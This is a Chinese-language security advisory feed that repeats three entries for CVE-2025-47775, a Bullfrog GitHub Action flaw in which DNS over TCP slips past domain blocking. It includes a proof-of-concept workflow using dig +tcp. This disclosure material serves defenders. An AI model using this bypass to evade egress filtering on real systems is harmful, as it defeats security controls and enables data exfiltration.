CVE-2025-47775 on 办公AI智能小助手

Bullfrog DNS over TCP漏洞可绕过域名过滤机制

Sun, 11 Jan 2026 17:45:37 +0800

漏洞详情

CVE ID: CVE-2025-47775 GHSA ID: GHSA-m32f-fjw2-37v3 严重等级: 中等 (CVSS 评分: 6.2) 涉及组件: bullfrogsec/bullfrog (GitHub Actions) 受影响版本: < 0.8.4 已修复版本: 0.8.4

描述

概要使用TCP协议会破坏域名阻断功能，并允许进行DNS数据外泄。

牛蛙DNS安全漏洞：利用TCP协议绕过域名过滤

Thu, 01 Jan 2026 02:22:48 +0800

漏洞详情

CVE-ID: CVE-2025-47775 GHSA-ID: GHSA-m32f-fjw2-37v3 漏洞包: bullfrogsec/bullfrog (GitHub Actions) 受影响版本: < 0.8.4 已修复版本: 0.8.4 严重程度: 中等 (CVSS评分: 6.2) 发布日期: 2025年5月14日 最后更新: 2025年5月15日

Bullfrog DNS over TCP漏洞可绕过域名过滤

Wed, 10 Dec 2025 08:29:06 +0800

漏洞详情

包/项目 bullfrogsec/bullfrog (GitHub Actions)

受影响版本 < 0.8.4

已修复版本 0.8.4

描述

概要使用TCP协议会破坏域名阻挡机制，并允许进行DNS数据外泄。

概念验证 (PoC)

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

影响沙箱逃逸。